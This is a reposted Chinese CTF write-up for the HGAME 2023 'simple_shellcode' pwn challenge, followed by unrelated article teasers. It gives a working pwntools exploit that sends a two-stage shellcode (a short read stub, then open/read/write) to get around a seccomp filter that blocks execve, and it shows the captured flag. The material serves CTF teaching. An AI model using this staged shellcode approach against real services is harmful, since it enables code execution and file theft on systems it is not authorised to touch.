NSSCTF [HGAME 2023 week1]simple_shellcode

3488.[HGAME 2023 week1]simple_shellcode 手寫read函數shellcode和orw

[HGAME 2023 week1]simple_shellcode

(1)

motaly@motaly-VMware-Virtual-Platform:~/桌面$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dba017c2b49353902d2f73017e362972705ab2cf, for GNU/Linux 3.2.0, not stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   75 Symbols	  No	0		1		vuln

(2)

用ida打開,按下F5(如果不行,看看有沒有Fn鍵,Fn+F5)

int __fastcall main(int argc, const char **argv, const char **envp)
{__int64 v3; // rdx__int64 v4; // rcx__int64 v5; // r8__int64 v6; // r9init(argc, argv, envp);mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);puts("Please input your shellcode:");read(0, (void *)0xCAFE0000LL, 0x10uLL);sandbox(0LL, 3405643776LL, v3, v4, v5, v6);MEMORY[0xCAFE0000]();return 0;
}

發現有個mmap函數(在指定地址映射一塊內存區域)是可讀可寫可執行的

然后有一個read函數,限制讀取長度只有16(0x10)

下面涉及到沙盒

(3)

查看一下限制

motaly@motaly-VMware-Virtual-Platform:~/桌面$ seccomp-tools dump ./vuln
Please input your shellcode:
aaaaline  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000000  A = sys_number0001: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 00040002: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 00040003: 0x06 0x00 0x00 0x7fff0000  return ALLOW0004: 0x06 0x00 0x00 0x00000000  return KILL

發現他把execve和execveat禁用了,所以用orw方法(這題的類型也是orw)

(4)

思路:

這里限制了一開始輸入的shellcode長度,所以我們可以先手寫一個read函數的shellcode,再寫入orw的shellcode

1.先手寫一個read函數的shellcode,并發送

(read函數有三個參數,分別對應rdi,rsi,rdx三個參數)

程序運行到最后rdx的值是內存空間的開始地址,所以我們把rdx賦值給rsi,作為read的第二個參數

2.然后構造第二條ROP鏈,主要是實現orw功能(打開flag文件,讀取flag內容,寫入到標準輸出,最后flag值會在終端中顯示),轉換后發送

(這里要考慮前面手寫shellcode的長度,生成對應長度的nop值后再發送orw的shellcode)

編寫

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn', 26356)
# io = process('/home/motaly/桌面/vuln')
read=('''mov rsi, rdx   mov rdx, 0x100   xor rdi, rdi    syscall
''')
shellcode=asm(read)
io.send(shellcode)
addr=0xcafe0000+0x200
orw= shellcraft.open("./flag")+shellcraft.read(3, addr, 0x100)+shellcraft.write(1, addr, 0x100)
payload=b"\x90"*len(shellcode)+asm(orw)
io.send(payload)
io.interactive()

(4)

連接得到flag

[*] Switching to interactive mode
[DEBUG] Received 0x1d bytes:b'Please input your shellcode:\n'
Please input your shellcode:
[DEBUG] Received 0x100 bytes:00000000  4e 53 53 43  54 46 7b 39  30 65 65 37  64 38 62 2d  │NSSC│TF{9│0ee7│d8b-│00000010  39 34 37 34  2d 34 32 36  38 2d 62 37  34 37 2d 61  │9474│-426│8-b7│47-a│00000020  30 37 61 30  38 36 38 34  35 34 36 7d  0a 00 00 00  │07a0│8684│546}│····│00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│*00000100
NSSCTF{90ee7d8b-9474-4268-b747-a07a08684546}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/75551.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/75551.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/75551.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

PostgreSQL的擴展(extensions)-常用的擴展-pg_dirtyread

PostgreSQL的擴展(extensions)-常用的擴展-pg_dirtyread pg_dirtyread 是 PostgreSQL 的一個特殊擴展,它允許讀取已被刪除但尚未被 VACUUM 清理的數據行,是數據恢復的重要工具。 原理: pg_dirtyread 通過直接訪問表的…

linux3 mkdir rmdir rm cp touch ls -d /*/

Linux 系統的初始目錄結構遵循 FHS(Filesystem Hierarchy Standard,文件系統層次標準),定義了每個目錄的核心功能和存儲內容。以下是 Linux 系統初始安裝后的主要目錄及其作用: 1. 核心系統目錄 目錄用途典型內容示例…

Bazel中的Symbol, Rule, Macro, Target, Provider, Aspect 等概念

學習Bazel ,就要學習Bazel 的規則定義, 弄清各個概念是重要的一個步驟。 在 Bazel 規則定義中,Symbol、Rule 和 Macro 是常見的概念。除此之外,Bazel 還有 Target、Provider、Aspect Repository、Package、 Workspace、 Configura…

深入探究 Hive 中的 MAP 類型:特點、創建與應用

摘要 在大數據處理領域,Hive 作為一個基于 Hadoop 的數據倉庫基礎設施,提供了方便的數據存儲和分析功能。Hive 中的 MAP 類型是一種強大的數據類型,它允許用戶以鍵值對的形式存儲和操作數據。本文將深入探討 Hive 中 MAP 類型的特點,詳細介紹如何創建含有 MAP 類型字段的表…

基于Java的區域化智慧養老系統(源碼+lw+部署文檔+講解),源碼可白嫖!

摘 要 時代在飛速進步,每個行業都在努力發展現在先進技術,通過這些先進的技術來提高自己的水平和優勢,區域化智慧養老系統當然不能排除在外。區域化智慧養老系統是在實際應用和軟件工程的開發原理之上,運用Java語言、JSP技術以及…

關于JVM和OS中的指令重排以及JIT優化

關于JVM和OS中的指令重排以及JIT優化 前言: 這東西應該很重要才對,可是大多數博客都是以訛傳訛,全是錯誤,尤其是JVM會對字節碼進行重排都出來了,明明自己測一測就出來的東西,寫出來誤人子弟… 研究了兩天&…

VS2022遠程調試Linux程序

一、 1、VS2022安裝參考 VS Studio2022安裝教程(保姆級教程)_visual studio 2022-CSDN博客 注意:勾選的時候,要勾選下方的選項,才能調試Linux環境下運行的程序! 2、VS2022遠程調試Linux程序測試 原文參…

WPF設計學習記錄滴滴滴4

<Button x:Name"btn"Content"退出"Width" 100"Height"25"Click"btn_Click" IsDefault"True"/> <Button x:Name"btn" <!-- 控件標識&#xff1a;定義按鈕的實例名稱為"btn&…

JVM 有哪些垃圾回收器

垃圾收集算法 標記-復制算法(Copying): 將可用內存按容量劃分為兩個區域,每次只使用其中的一塊。當這一塊的內存用完了,就將還存活著的對象復制到另外一塊上面, 然后再把已使用過的內存空間一次清理掉。 標記-清除算法(Mark-Sweep): 算法分為“標記” 和“清除”兩個…

React DndKit 實現類似slack 類別、頻道拖動調整位置功能

一周調試終于實現了類 slack 類別、頻道拖動調整位置功能。 歷經四個版本迭代。 實現了類似slack 類別、頻道拖動調整功能 從vue->react &#xff1b;更喜歡React的生態及編程風格&#xff0c;新項目用React來重構了。 1.zustand全局狀態 2.DndKit 拖動 功能視頻&…

新浪財經股票每天10點自動爬取

老規矩還是先分好三步&#xff0c;獲取數據&#xff0c;解析數據&#xff0c;存儲數據 因為股票是實時的&#xff0c;所以要加個cookie值&#xff0c;最好分線程或者爬取數據時等待爬取&#xff0c;不然會封ip 廢話不多數&#xff0c;直接上代碼 import matplotlib import r…

使用Android 原生LocationManager獲取經緯度

一、常用方案 1、使用LocationManager GPS和網絡定位 缺點&#xff1a;個別設備,室內或者地下停車場獲取不到gps定位,故需要和網絡定位相結合使用 2、使用Google Play服務 這種方案需要Android手機中有安裝谷歌服務,然后導入谷歌的第三方庫&#xff1a; 例如&#xff1a;i…

驗證碼實現

驗證碼案例 學了Spring MVC &#xff0c;配置 相關章節&#xff0c; 現可以嘗試寫一個前后端交互的驗證碼 文章目錄 驗證碼案例前言一、驗證碼是什么&#xff1f;二、需求1.引入依賴2.導入前端頁面3.約定前后段交互接口 三、代碼解析Controllermodelapplication.xml 四丶結果五…

查詢當前用戶的購物車和清空購物車

業務需求&#xff1a; 在小程序用戶端購物車頁面能查到當前用戶的所有菜品或者套餐 代碼實現 controller層 GetMapping("/list")public Result<List<ShoppingCart>> list(){List<ShoppingCart> list shoppingCartService.shopShoppingCart();r…

(多看) CExercise_05_1函數_1.2計算base的exponent次冪

題目&#xff1a; 鍵盤錄入兩個整數&#xff1a;底(base)和冪指數(exponent)&#xff0c;計算base的exponent次冪&#xff0c;并打印輸出對應的結果。&#xff08;注意底和冪指數都可能是負數&#xff09; 提示&#xff1a;求冪運算時&#xff0c;基礎的思路就是先無腦把指數轉…

【nacos安裝指南】

Nacos安裝指南 1.Windows安裝 開發階段采用單機安裝即可。 1.1.下載安裝包 在Nacos的GitHub頁面&#xff0c;提供有下載鏈接&#xff0c;可以下載編譯好的Nacos服務端或者源代碼&#xff1a; GitHub主頁&#xff1a;https://github.com/alibaba/nacos GitHub的Release下載…

通過發音學英語單詞:從音到形的學習方法

&#x1f4cc; 通過發音學英語單詞&#xff1a;從音到形的學習方法 英語是一種 表音語言&#xff08;phonetic language&#xff09;&#xff0c;但不像拼音文字&#xff08;如漢語拼音、西班牙語等&#xff09;那么規則&#xff0c;而是 部分表音部分表意。這意味著我們可以通…

列表某個字段由多個值組成,使用id匹配展示

說明&#xff1a;列表中字段A的值由多個值組成&#xff0c;但是后端返回的是這多個值的id字符串&#xff0c;需要前端拿著多個id組成的字符串去另一個接口數據源匹配展示 列表后端返回多個字符串如下&#xff1a; sectorName: "1899292545382895618,1907311191514636289…

MQL5教程 05 指標開發實戰:雙色線、雙線變色MACD、跨時間周期均線

文章目錄 一、雙色線指標二、雙線變色MACD指標三、跨時間周期均線 一、雙色線指標 這里的類型中&#xff0c;Color開頭的&#xff0c;是可以選擇多個顏色的。 #property indicator_chart_window #property indicator_buffers 18 #property indicator_plots 7 //--- plot xian…